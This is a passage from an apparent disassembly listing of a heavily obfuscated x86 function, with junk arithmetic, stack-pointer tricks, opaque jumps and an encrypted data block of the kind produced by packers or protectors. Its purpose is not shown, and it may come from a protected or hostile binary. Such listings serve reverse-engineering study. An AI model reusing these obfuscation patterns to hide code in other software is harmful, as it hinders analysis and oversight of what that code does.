		add	esp, 4
		push	ebx
		mov	ebx, 22911F23h
		push	ebx
		not	[esp+54h+var_54]
		jmp	loc_594AC9
; ---------------------------------------------------------------------------


loc_59B3D6:				; CODE XREF: sub_58A891+5F40j
					; sub_58A891+F832j
		mov	eax, edi
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		shr	eax, 3
		add	eax, 435B64D9h
		xor	eax, 282C1808h
		sub	eax, 144A412Fh
		or	eax, 7E9A26E1h
		add	eax, 0D3CB6178h
		sub	ecx, eax
		pop	eax
		push	edx
		push	54CFh
		jmp	loc_592836
; ---------------------------------------------------------------------------


loc_59B40B:				; CODE XREF: sub_58A891+103E1j
		push	0F5Dh
		mov	[esp+4Ch+var_4E+2], edx
		mov	edx, 2AC20231h
		inc	edx
		shr	edx, 8
		xor	edx, 1BB96124h
		jmp	loc_58F2E7
; ---------------------------------------------------------------------------


loc_59B427:				; CODE XREF: sub_58A891+5498j
					; sub_58A891+E0E2j
		mov	ebp, 598513E0h
		add	edx, ebp
		pop	ebp
		pop	esi
		sub	esp, 4
		jmp	loc_596C6D
; ---------------------------------------------------------------------------


loc_59B438:				; CODE XREF: sub_58A891+D384j
		pop	ebp
		push	eax
		mov	eax, 62D059D1h
		shr	eax, 8
		xor	eax, offset byte_62D05D
		add	ebp, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], esi
		mov	esi, 403936DAh
		shr	esi, 5
		jp	loc_594BEF
		push	ebp
		mov	ebp, 201C97Eh
		sub	esi, ebp
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		mov	edx, esi
		pop	esi
		add	edx, edi
		mov	ecx, [edx]
		jmp	loc_595AA1
; ---------------------------------------------------------------------------


loc_59B485:				; CODE XREF: sub_58A891+549Dj
					; sub_58A891+9638j
		neg	ecx
		add	ecx, 137CF4h
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+3Ch+var_3C]
		pop	esp
		add	esp, 4
		push	71FDh
		mov	[esp+38h+var_38], ebp
		mov	ebp, 64293148h
		add	ebp, 0FFFFFFFFh
		dec	ebp
		sub	ebp, 64292146h
		and	eax, ebp
		jmp	loc_58F28E
; ---------------------------------------------------------------------------


loc_59B4BB:				; CODE XREF: sub_58A891+4A97j
		xor	[esp+30h+var_30], ecx
		jmp	loc_591E9C
; ---------------------------------------------------------------------------


loc_59B4C3:				; CODE XREF: sub_58A891+4EFEj
		and	ebx, ebp
		pop	ebp
		xor	ebx, 12025h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_5975B6
; ---------------------------------------------------------------------------


loc_59B4DA:				; DATA XREF: sub_58A891+3B47o
		mov	cx, word ptr [esp+8+var_8]
		push	esi
		push	409Dh
		mov	[esp+10h+var_10], esp
		push	edi
		mov	edi, 4
		add	[esp+14h+var_10], edi
		pop	edi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_59837E
; ---------------------------------------------------------------------------


loc_59B4FD:				; CODE XREF: sub_58A891+CADFj
		mov	[esp+10h+var_10], eax
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		push	ecx
		pop	ebx
		mov	eax, ebx
		pop	ebx
		jmp	loc_597788
; ---------------------------------------------------------------------------


loc_59B514:				; CODE XREF: sub_58A891+C0A7j
		mov	esi, edx
		pop	edx
		jmp	loc_58E51D
; ---------------------------------------------------------------------------


loc_59B51C:				; CODE XREF: sub_58A891+4373j
		push	31C0h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+18h+var_18]
		pop	esp
		sub	esp, 4
		jmp	loc_58E6F0
; ---------------------------------------------------------------------------


loc_59B538:				; CODE XREF: sub_58A891+9FBFj
		pop	eax
		jmp	loc_591BE3
; ---------------------------------------------------------------------------


loc_59B53E:				; CODE XREF: sub_58A891+E417j
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	word ptr [esp+8+var_8],	si
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		push	eax
		mov	ax, 21A8h
		shl	ax, 2
		jmp	loc_5961A7
; ---------------------------------------------------------------------------


loc_59B55D:				; CODE XREF: sub_58A891+E4C9j
		add	eax, 4C1B1145h
		jb	loc_59AFF3
		push	edx
		mov	edx, 4EB7473Dh
		sub	edx, 0C74EB1C6h
		add	eax, edx
		mov	edx, [esp+12h+var_14+2]
		add	esp, 4
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		mov	[ecx], eax
		pop	ecx
		mov	eax, [esp+0Eh+var_10+2]
		push	eax
		jmp	loc_59AC77
; ---------------------------------------------------------------------------


loc_59B593:				; CODE XREF: sub_58A891+4681j
		pop	ebp
		sub	edx, 0E834C84h
		jmp	loc_58F464
; ---------------------------------------------------------------------------


loc_59B59F:				; CODE XREF: sub_58A891+5F48j
		push	ebx
		mov	ebx, 0EFD2AE5h
		add	ebx, 3C915278h
		xor	ebx, 5E1A4DDBh
		jmp	loc_591E8B
; ---------------------------------------------------------------------------


loc_59B5B6:				; CODE XREF: sub_58A891+EF3Fj
		add	ecx, 21466CC4h
		push	ecx
		xor	[esp+14h+var_14], 7DD442C4h
		pop	ebp
		push	ecx
		mov	ecx, 7DD442C4h
		xor	ebp, ecx
		pop	ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	esi, 1E804435h
		add	esi, ebp
		sub	esi, 1E804435h
		pop	ebp
		jmp	loc_5934B8
; ---------------------------------------------------------------------------


loc_59B5E8:				; CODE XREF: sub_58A891:loc_591931j
		xor	eax, 0BAC0D126h
		mov	ecx, eax
		pop	eax
		push	123Bh
		mov	[esp+0], ebx
		mov	ebx, 40E33CFEh
		jmp	loc_593525
; ---------------------------------------------------------------------------


loc_59B602:				; CODE XREF: sub_58A891:loc_58F149j
					; sub_58A891+68C5j
		mov	[esp-0Ch+arg_4], edx
		jmp	loc_597549
; ---------------------------------------------------------------------------


loc_59B60A:				; CODE XREF: sub_58A891+8D03j
		mov	esi, 46A975F5h
		sub	esi, 6BC52A01h
		and	esi, 5F75581h
		jge	loc_590ADE
		inc	esi
		jnz	loc_595CC6
		jmp	loc_598883
; ---------------------------------------------------------------------------
		mov	ebp, ebx


loc_59B62F:				; CODE XREF: sub_58A891+6001j
		pop	edx
		push	22DCh
		jmp	loc_59B98F
; ---------------------------------------------------------------------------


loc_59B63A:				; CODE XREF: sub_58A891+8103j
		mov	eax, esp
		push	6E9h
		mov	[esp+10h+var_10], ecx
		mov	ecx, 79E3785Ch
		inc	ecx
		inc	ecx
		jmp	loc_59819D
; ---------------------------------------------------------------------------


loc_59B650:				; CODE XREF: sub_58A891+DC4Cj
		add	esi, 4
		push	ecx
		push	3147h
		mov	[esp+14h+var_14], ebp
		mov	ebp, 222A1162h
		mov	ecx, 176F475Dh
		xor	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 3545563Dh
		sub	ecx, esi
		pop	esi
		add	esi, 6F7229DBh
		jmp	loc_599F62
; ---------------------------------------------------------------------------


loc_59B680:				; CODE XREF: sub_58A891+A4FFj
		shr	ebx, 3
		dec	ebx
		jle	loc_592FA9
		inc	ebx
		push	esi
		mov	esi, 3467938h
		add	ebx, esi
		pop	esi
		add	ebx, 1
		or	ebx, 27D87335h
		dec	ebx
		push	edi
		mov	edi, 8754B838h
		sub	ebx, edi
		pop	edi
		mov	edi, ebx
		pop	ebx
		xor	ecx, edi
		pop	edi
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		push	[esp+44h+var_46+2]
		jmp	loc_59AFF3
; ---------------------------------------------------------------------------


loc_59B6BA:				; CODE XREF: sub_58A891+9F50j
		push	ax
		jmp	loc_599A16
; ---------------------------------------------------------------------------


loc_59B6C1:				; CODE XREF: sub_58A891+41B1j
		mov	eax, ebx
		pop	ebx
		jmp	loc_591707
; ---------------------------------------------------------------------------


loc_59B6C9:				; DATA XREF: sub_58A891+39D3o
		mov	cx, word ptr [esp+8+var_8]
		push	ebx
		push	esp
		mov	ebx, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	edx, esp
		jmp	loc_59562C
; ---------------------------------------------------------------------------


loc_59B6E2:				; CODE XREF: sub_58A891+E357j
		add	ecx, esi
		jmp	loc_5900A7
; ---------------------------------------------------------------------------


loc_59B6E9:				; CODE XREF: sub_58A891+9ADCj
		sub	eax, 7FB13E0Ah
		not	eax
		inc	eax
		neg	eax
		sub	eax, 7F0DCF0Eh
		sub	edi, eax
		pop	eax
		add	edx, 231520CEh
		add	edx, edi
		sub	edx, 231520CEh
		jmp	loc_599AF3
; ---------------------------------------------------------------------------


loc_59B70E:				; CODE XREF: sub_58A891+5971j
		pop	ecx


loc_59B70F:				; CODE XREF: sub_58A891+89FCj
		sub	esp, 4
		mov	[esp+40h+var_40], edi
		push	eax
		jmp	loc_591148
; ---------------------------------------------------------------------------


loc_59B71E:				; CODE XREF: sub_58A891+F1A5j
		mov	bx, bp
		pop	ebp
		push	dx
		mov	dx, 3F47h
		jmp	loc_59412A
; ---------------------------------------------------------------------------


loc_59B72D:				; CODE XREF: sub_58A891+3FE1j
		push	esp
		pop	eax
		jmp	loc_5999AC
; ---------------------------------------------------------------------------


loc_59B734:				; CODE XREF: sub_58A891+6FC0j
		mov	[esp+14h+var_14], edi
		push	edx
		mov	edx, 47EF4B22h
		mov	edi, 36BD1162h
		add	edi, edx
		pop	edx
		jmp	loc_597BFE
; ---------------------------------------------------------------------------


loc_59B74A:				; CODE XREF: sub_58A891+B0DEj
		or	bh, 5Ch
		and	bh, 0A8h
		add	bh, 0EDh
		add	al, bh
		mov	ebx, [esp+48h+var_4A+2]
		add	esp, 4
		pop	cx
		jmp	loc_59B8AE
; ---------------------------------------------------------------------------


loc_59B765:				; CODE XREF: sub_58A891+9787j
		add	ebx, 0A4BFE63Ch
		jmp	loc_596C90
; ---------------------------------------------------------------------------


loc_59B770:				; CODE XREF: sub_58A891+4DFCj
		pop	ebp
		add	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		add	ebp, 1EE8070Dh
		sub	ebp, eax
		sub	ebp, 1EE8070Dh
		pop	eax
		sub	esp, 4
		mov	[esp+44h+var_46+2], ebp
		push	[esp+44h+var_40]
		jmp	loc_597CDB
; ---------------------------------------------------------------------------


loc_59B79B:				; CODE XREF: sub_58A891+E89Aj
		pop	esi
		push	small 0A0Eh
		jmp	loc_592178
; ---------------------------------------------------------------------------


loc_59B7A5:				; CODE XREF: sub_58A891+6877j
		neg	edi
		add	edi, 45347FC8h
		add	edx, edi
		mov	edi, [esp+44h+var_46+2]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, 0D9346A0h
		jmp	loc_5962D3
; ---------------------------------------------------------------------------


loc_59B7CC:				; CODE XREF: sub_58A891+CAD6j
		sub	bl, 71h
		mov	ch, bl
		jmp	loc_591A53
; ---------------------------------------------------------------------------


loc_59B7D6:				; CODE XREF: sub_58A891+742Fj
					; sub_58A891+10A23j
		and	eax, ebp
		jmp	loc_593B42
; ---------------------------------------------------------------------------


loc_59B7DD:				; CODE XREF: sub_58A891+11164j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B7E2:				; CODE XREF: sub_58A891+4138j
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	eax
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 14E33830h
		jmp	loc_58FEE2
; ---------------------------------------------------------------------------


loc_59B7FD:				; CODE XREF: sub_58A891+9877j
		pop	eax
		mov	edx, [esp+3Ah+var_3C+2]
		jmp	loc_595992
; ---------------------------------------------------------------------------


loc_59B806:				; DATA XREF: sub_58A891+3AD7o
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	ebp
		jmp	loc_59017E
; ---------------------------------------------------------------------------


loc_59B813:				; DATA XREF: sub_58A891+3A23o
		mov	ax, word ptr [esp+8+var_8]
		push	7F03h
		jmp	loc_591A3C
; ---------------------------------------------------------------------------


loc_59B821:				; CODE XREF: sub_58A891+D0EBj
		add	eax, 323C6037h
		add	eax, edi
		sub	eax, 323C6037h
		jmp	loc_59936C
; ---------------------------------------------------------------------------


loc_59B832:				; CODE XREF: sub_58A891+8211j
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	7855h
		mov	[esp+14h+var_14], ebp
		push	esi
		push	449C554Fh
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_598524
; ---------------------------------------------------------------------------


loc_59B84E:				; CODE XREF: sub_58A891+4B1Fj
					; sub_58A891+D931j
		mov	ebx, eax
		pop	eax
		mov	ebp, ebx
		pop	ebx
		push	[esp+30h+var_30]
		pop	edi
		add	esp, 4
		sub	[esp+2Ch+var_28], ebp
		pop	ebp
		mov	eax, [esp+28h+var_28]
		jmp	loc_5990E4
; ---------------------------------------------------------------------------


loc_59B868:				; CODE XREF: sub_58A891+710Bj
		pop	esp
		jmp	loc_592418
; ---------------------------------------------------------------------------


loc_59B86E:				; CODE XREF: sub_58A891+F0B4j
		mov	eax, esp
		push	60FBh
		mov	[esp-0Ch+arg_4], ebp
		push	ebx
		mov	ebx, 646C0816h
		or	ebx, 4CDB2133h
		jg	loc_594A7C
		sub	ebx, 6CFF2933h
		mov	ebp, ebx
		mov	dl, 0EEh


loc_59B895:				; CODE XREF: sub_58A891+F6CCj
		add	[esp-8+arg_0], 57E93009h
		pop	edi
		sub	edi, 57E93009h
		pop	edx
		add	ebp, edi
		mov	edi, [esp-10h+arg_8]
		jmp	loc_595ED0
; ---------------------------------------------------------------------------


loc_59B8AE:				; CODE XREF: sub_58A891+10ECFj
		add	bl, 8Fh
		add	bl, 0DCh
		push	ecx
		push	edx
		mov	dl, 43h
		jmp	loc_594103
; ---------------------------------------------------------------------------


loc_59B8BD:				; CODE XREF: sub_58A891+9393j
					; sub_58A891+105AAj
		sub	edi, 0B84515AAh
		mov	ebx, edi
		jmp	loc_59316E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 2
		push	esi
		jmp	loc_59A9B3
; ---------------------------------------------------------------------------


loc_59B8E2:				; CODE XREF: sub_58A891+803Cj
		xor	edx, eax
		pop	eax
		sub	edx, 60149C5Eh
		sub	ecx, edx
		pop	edx
		add	ecx, 68825C5Fh
		xor	edi, ecx
		push	[esp+10h+var_10]
		pop	ecx
		add	esp, 4
		jmp	loc_59B297
; ---------------------------------------------------------------------------


loc_59B905:				; CODE XREF: sub_58A891+91ABj
		mov	[esp+0], ebp
		mov	ebp, 52E8122Bh
		and	ebp, 388330E5h
		push	edi
		push	edx
		mov	edx, 7C6C21A6h
		and	edx, 36B72218h
		not	edx
		shr	edx, 3
		sub	edx, 242942DEh
		inc	edx
		add	edx, 0CD8FA411h
		jmp	loc_59695D
; ---------------------------------------------------------------------------


loc_59B937:				; CODE XREF: sub_58A891+7E5Fj
		mov	[esp+10h+var_10], ecx
		push	esi
		mov	esi, 35C56A78h
		xor	esi, 67440076h
		jz	loc_59AE35
		or	esi, 47A10BFBh
		jle	loc_58E8C5
		shl	esi, 4
		add	esi, 0F79CA4EDh
		mov	ecx, esi
		pop	esi
		dec	ecx
		dec	ecx
		add	ecx, 7DFD408Dh
		and	ecx, 0A742F3Bh
		jmp	loc_59A718
; ---------------------------------------------------------------------------


loc_59B977:				; CODE XREF: sub_58A891+5D6Fj
		mov	esp, [esp+30h+var_30]
		jmp	loc_58E9B1
; ---------------------------------------------------------------------------


loc_59B97F:				; CODE XREF: sub_58A891+A92Aj
					; sub_58A891+CC9Dj
		mov	ebp, 74B463ADh
		shr	ebp, 5
		shl	ebp, 4
		jmp	loc_5920C3
; ---------------------------------------------------------------------------


loc_59B98F:				; CODE XREF: sub_58A891+FC9Dj
					; sub_58A891+10DA4j
		mov	[esp+44h+var_46+2], eax
		mov	al, 1
		xor	al, 3Eh
		sub	bl, al
		pop	eax
		push	dx
		jmp	loc_596E8E
; ---------------------------------------------------------------------------


loc_59B9A0:				; CODE XREF: sub_58A891+1000Ej
		mov	edx, ebx
		pop	ebx
		sub	ecx, edx
		pop	edx
		jmp	loc_5901FB
; ---------------------------------------------------------------------------


loc_59B9AB:				; CODE XREF: sub_58A891+BBC9j
		mov	esp, [esp+48h+var_4A+2]
		mov	[esp+48h+var_4A+2], ebp
		push	[esp+48h+var_46+2]
		jmp	loc_58EB17
; ---------------------------------------------------------------------------


loc_59B9BA:				; CODE XREF: sub_58A891:loc_58F8F2j
		xor	ecx, 675E633Dh
		jmp	loc_5997CD
; ---------------------------------------------------------------------------


loc_59B9C5:				; CODE XREF: sub_58A891+DBFEj
		pop	eax
		push	4EBh
		mov	[esp+0Ch+var_C], edi
		push	esp
		jmp	loc_593564
; ---------------------------------------------------------------------------


loc_59B9D4:				; CODE XREF: sub_58A891+8192j
		push	esp
		pop	ecx
		sub	esp, 4
		jmp	loc_58E7A9
; ---------------------------------------------------------------------------


loc_59B9E1:				; CODE XREF: sub_58A891+A71Cj
		sub	ebx, 5E96011h
		add	ebx, edx
		add	ebx, 5E96011h
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59B7DD
; ---------------------------------------------------------------------------


loc_59B9FA:				; CODE XREF: sub_58A891+111E1j
		mov	esp, [esp+0]
		push	ebp
		jmp	loc_592DA4
; ---------------------------------------------------------------------------


loc_59BA03:				; CODE XREF: sub_58A891+BBDFj
		mov	[esp-0Ah+arg_0+2], eax
		sub	esp, 4
		mov	[esp+0], edx
		mov	dl, 6Ch
		push	edx
		jmp	loc_5931D1
; ---------------------------------------------------------------------------


loc_59BA17:				; CODE XREF: sub_58A891+6C1Aj
		pop	ecx
		push	edx
		push	ecx
		mov	ecx, 7ACE5ED3h
		jmp	loc_592C15
; ---------------------------------------------------------------------------


loc_59BA24:				; CODE XREF: sub_58A891+C85Dj
		mov	al, 0B1h
		sub	al, 97h
		neg	al
		jmp	loc_59365A
; ---------------------------------------------------------------------------


loc_59BA2F:				; CODE XREF: sub_58A891+95FDj
		shr	ecx, 2
		jnp	loc_597C1A
		push	edi
		mov	edi, 615A55BAh
		mov	bl, 16h
		push	edi


loc_59BA42:				; CODE XREF: sub_58A891+79F1j
		pop	edi
		sub	esp, 4
		mov	[esp-10h+arg_8], esi
		push	2D78706Fh
		push	[esp-0Ch+arg_4]
		mov	esi, [esp-8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp-8+arg_0]
		xor	[esp-8+arg_0], ecx
		xor	ecx, [esp-8+arg_0]
		jmp	loc_59B9FA
; ---------------------------------------------------------------------------


loc_59BA77:				; CODE XREF: sub_58A891+5306j
		jz	loc_590ACF
		and	eax, 6AD3323Dh
		sub	eax, 0B3E70C06h
		jmp	loc_5966FE
; ---------------------------------------------------------------------------


loc_59BA8C:				; CODE XREF: sub_58A891+5B3Bj
		pop	esp
		push	ebx
		jmp	loc_59AFA7
; ---------------------------------------------------------------------------


loc_59BA93:				; CODE XREF: sub_58A891+A1BBj
		add	esp, 4
		jmp	loc_59B39E
; ---------------------------------------------------------------------------


loc_59BA9B:				; CODE XREF: sub_58A891+B8E1j
		xchg	eax, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], ebp
		jmp	loc_5985CC
; ---------------------------------------------------------------------------


loc_59BAA7:				; CODE XREF: sub_58A891+71C3j
		sub	bl, ch
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		push	eax
		mov	al, bl
		push	ecx
		mov	cl, al
		mov	dh, cl
		pop	ecx
		pop	eax
		jmp	loc_59AA28
; ---------------------------------------------------------------------------


loc_59BABE:				; CODE XREF: sub_58A891+B959j
		pop	edi
		shl	edi, 4
		shl	edi, 7
		xor	edi, 59384F79h
		jmp	loc_58F9D1
; ---------------------------------------------------------------------------


loc_59BAD0:				; CODE XREF: sub_58A891+4DA3j
		sub	ebx, eax
		sub	ebx, 2E9F518Ah
		jmp	loc_59739A
; ---------------------------------------------------------------------------


loc_59BADD:				; CODE XREF: sub_58A891+109F6j
		add	al, dl
		pop	dx
		push	small 1E65h
		jmp	loc_590A61
; ---------------------------------------------------------------------------


loc_59BAEA:				; CODE XREF: sub_58A891+6A45j
		push	eax
		mov	al, bl
		mov	cl, al
		pop	eax
		jmp	loc_599C63
; ---------------------------------------------------------------------------


loc_59BAF5:				; CODE XREF: sub_58A891+9A88j
		inc	edx
		jz	loc_5931AA
		dec	edx
		jmp	loc_595742
; ---------------------------------------------------------------------------


loc_59BB02:				; CODE XREF: sub_58A891+4B09j
		mov	esp, [esp+30h+var_30]
		sub	eax, 23723092h
		push	small word ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59BB12:				; CODE XREF: sub_58A891+4430j
		pop	eax
		push	[esp-8+arg_0]
		jmp	loc_590185
; ---------------------------------------------------------------------------


loc_59BB1B:				; CODE XREF: sub_58A891+8CA8j
		pop	ecx
		sub	ecx, edx
		pop	edx
		inc	ecx
		add	ecx, 4B3C4D04h
		xor	ecx, 0CF7B392Ah
		jmp	loc_591965
; ---------------------------------------------------------------------------


loc_59BB31:				; CODE XREF: sub_58A891+4E07j
		jmp	loc_596785
; ---------------------------------------------------------------------------


loc_59BB36:				; CODE XREF: sub_58A891:loc_59523Dj
		add	dh, 0D3h
		jmp	loc_59387C
; ---------------------------------------------------------------------------


loc_59BB3E:				; DATA XREF: sub_58A891+3A4Bo
		push	[esp+8+var_8]
		pop	eax
		push	30D9h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		push	1D18h
		mov	[esp+10h+var_10], eax
		jmp	loc_598FA4
; ---------------------------------------------------------------------------


loc_59BB59:				; CODE XREF: sub_58A891+56A1j
		push	ecx
		mov	ecx, 3D1307A1h
		add	esi, ecx
		jmp	loc_59B10C
; ---------------------------------------------------------------------------


loc_59BB66:				; CODE XREF: sub_58A891+A132j
		push	esp
		pop	edi
		jmp	loc_599590
; ---------------------------------------------------------------------------


loc_59BB6D:				; CODE XREF: sub_58A891+AF8Aj
		add	esp, 4
		inc	ebx
		and	ebx, 39D61FF3h
		inc	ebx
		jnp	loc_59ADCC
		xor	ebx, 10840EC7h
		push	edx
		push	ebx
		xor	[esp+20h+var_20], 2B8225F7h
		pop	edx
		xor	edx, 2B8225F7h
		mov	ebp, edx
		pop	edx
		pop	ebx
		add	edi, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		xchg	edi, [esp+10h+var_10]
		jmp	loc_5951A7
; ---------------------------------------------------------------------------


loc_59BBAB:				; CODE XREF: sub_58A891+7B7Bj
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		shr	ecx, 0
		or	eax, eax
		jz	loc_5929FD
		push	14FFh
		mov	[esp+34h+var_34], ebx
		xor	[esp+34h+var_34], 7C676A8Eh
		jmp	loc_5904C1
; ---------------------------------------------------------------------------


loc_59BBDF:				; CODE XREF: sub_58A891+6779j
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		push	ebp
		mov	ebp, 4
		add	[esp+14h+var_10], ebp
		pop	ebp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	edi
		mov	edi, 337F1943h
		add	edi, 1
		not	edi
		sub	edi, 58546337h
		xor	edi, 5C8B2834h
		push	ecx
		mov	ecx, 3A032B33h
		jmp	loc_590A4A
; ---------------------------------------------------------------------------


loc_59BC23:				; CODE XREF: sub_58A891+AB2Ej
		pop	esp
		mov	[esp+18h+var_18], ebx
		jmp	loc_599070
; ---------------------------------------------------------------------------


loc_59BC2C:				; DATA XREF: sub_58A891+39A7o
		push	ecx
		jmp	loc_59899F
; ---------------------------------------------------------------------------


loc_59BC32:				; CODE XREF: sub_58A891+684Cj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58FF71
; ---------------------------------------------------------------------------


loc_59BC3F:				; CODE XREF: sub_58A891+8B81j
					; sub_58A891+1054Aj
		mov	[esp+16h+var_18+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_593559
; ---------------------------------------------------------------------------
		align 10h
		dd 10h dup(0)
		dd 11000000h, 0F507D2ADh, 0EF07D2DAh, 0DC07D35Ah, 4D07D382h
		dd 0A707D30Eh, 9A07D2C3h, 0DE07D308h, 0F107D28Dh, 3807D275h
		dd 0D507D2F7h, 0DD07D2EDh, 0DF07D379h, 4607D3BEh, 0E007D28Fh
		dd 0C707D309h, 5F07D327h, 0B007D312h, 0BB07D2A7h, 1E07D3A2h
		dd 4E07D3C5h, 0E507D2F6h, 7F07D285h, 6B07D328h,	7507D3BDh
		dd 0B407D2F4h, 6307D33Dh, 0DC07D339h, 6607D337h, 4F07D2B4h
		dd 3707D318h, 6907D2FBh, 0E07D365h, 5207D357h, 0AC07D299h
		dd 3407D2D0h, 4607D2D0h, 8607D320h, 0B307D317h,	9A07D37Ah
		dd 4F07D358h, 6907D380h, 2107D37Fh, 0E507D2BCh,	1F07D29Ch
		dd 0D707D2B7h, 9807D333h, 7007D2D8h, 0C907D36Ah, 9C07D3A2h
		dd 0BC07D2D0h, 0CE07D2F2h, 6807D304h, 7A07D267h, 8E07D277h
		dd 5A07D380h, 2307D337h, 8207D2D4h, 2207D373h, 4207D2AFh
		dd 0D607D3AAh, 0E707D359h, 0B407D264h, 6007D38Fh, 7D277h
		dd 607D38Dh, 8807D3BEh,	6707D3BBh, 0F07D36Ch, 7307D279h
		dd 0D507D3BCh, 0FB07D2EFh, 4D07D367h, 0A207D28Bh, 7A07D2A8h
		dd 2307D34Eh, 9307D30Eh, 0ED07D260h, 3707D2C7h,	0FE07D346h
		dd 6D07D31Dh, 2A07D351h, 4507D2EBh, 6B07D2C0h, 9807D346h
		dd 1B07D298h, 2807D384h, 0DA07D3BDh, 6207D38Fh,	0D307D321h
		dd 8007D308h, 1307D35Ah, 0A07D2C7h, 0D907D3C2h,	0A007D340h
		dd 6E07D312h, 4507D372h, 7907D2B5h, 6E07D3C8h, 4307D343h
		dd 0A207D309h, 9507D392h, 0E807D289h, 0DF07D375h, 0A807D386h
		dd 9B07D267h, 9307D3C1h, 4607D25Fh, 9707D336h, 3C07D352h
		dd 0AE07D35Ah, 6B07D26Ch, 3907D282h, 2C07D2B6h,	607D33Fh
		dd 0C907D36Ah, 0D107D349h, 0EA07D2C8h, 5B07D3B8h, 0A007D3A4h
		dd 0AC07D353h, 1307D285h, 0FA07D308h, 4907D2C9h, 0AB07D3A1h
		dd 5107D3A6h, 2307D28Dh, 0D407D2E5h, 2D07D292h,	6207D2D8h
		dd 0CA07D315h, 0A107D301h, 6907D2C5h, 0F607D3AAh, 8F07D298h
		dd 0A507D2F7h, 9207D2F9h, 3E07D2D8h, 0AC07D311h, 0B507D3C3h
		dd 4007D394h, 0E007D319h, 1007D2A6h, 4107D327h,	0E807D2AEh
		dd 2807D37Ch, 6D07D2BBh, 7107D319h, 9807D281h, 7707D320h
		dd 1F07D31Eh, 707D3B1h,	0AF07D3C1h, 7907D270h, 0D507D26Ch
		dd 9707D2DEh, 0FC07D2E6h, 2207D2E2h, 0A307D2DBh, 4F07D2A9h
		dd 0A807D391h, 3107D2E3h, 8007D2D6h, 7407D2B7h,	5507D30Ah
		dd 5007D335h, 0DA07D2A9h, 6007D38Eh, 0E8FC9Ch, 5F000000h
		dd 58F9EF81h, 0C78B07D2h, 5611C781h, 473B07D2h,	0EB02752Ch
		dd 2C478913h, 0A7B9h, 105EB00h,	49408F44h, 0F775C90Bh
		dd 2424748Bh, 0F003DE8Bh, 1B9h,	0F0C03300h, 304FB10Fh
		db 75h,	0F7h
; ---------------------------------------------------------------------------


loc_59BF76:				; CODE XREF: sub_58A891+119FDj
					; sub_58A891+11C9Fj ...
		lodsb
		push	6834h
		jmp	loc_5AA2B2
; ---------------------------------------------------------------------------


loc_59BF81:				; CODE XREF: sub_58A891+133CCj
		inc	esi
		jmp	loc_5A7D96
; ---------------------------------------------------------------------------


loc_59BF87:				; CODE XREF: sub_58A891+21E99j
		neg	edi
		add	edi, 0E391EB94h
		xor	eax, edi
		push	[esp+1Ah+var_1C+2]
		pop	edi
		add	esp, 4
		shl	eax, 8
		shl	eax, 5
		jmp	loc_5AE5F5
; ---------------------------------------------------------------------------


loc_59BFA3:				; CODE XREF: sub_58A891+22537j
		sub	edi, ebp
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_5B10DF
; ---------------------------------------------------------------------------


loc_59BFB3:				; CODE XREF: sub_58A891+16010j
		add	ebp, ecx
		pop	ecx
		sub	ebp, 2
		jmp	loc_5AEE61
; ---------------------------------------------------------------------------


loc_59BFBE:				; CODE XREF: sub_58A891+19B99j
		mov	esi, [esp+0Eh+var_10+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], edx
		xor	edx, [esp+12h+var_14+2]
		jmp	loc_5A5839
; ---------------------------------------------------------------------------


loc_59BFDB:				; CODE XREF: sub_58A891:loc_5A90C3j
		jmp	loc_5A3D6C
; ---------------------------------------------------------------------------


loc_59BFE0:				; CODE XREF: sub_58A891+252EAj
		pop	eax
		add	eax, 79BC2730h
		xor	eax, 36917463h
		xor	eax, 6BBBBDACh
		add	ebx, 682F5BD3h
		add	ebx, eax
		sub	ebx, 682F5BD3h
		jmp	loc_5AEC5A
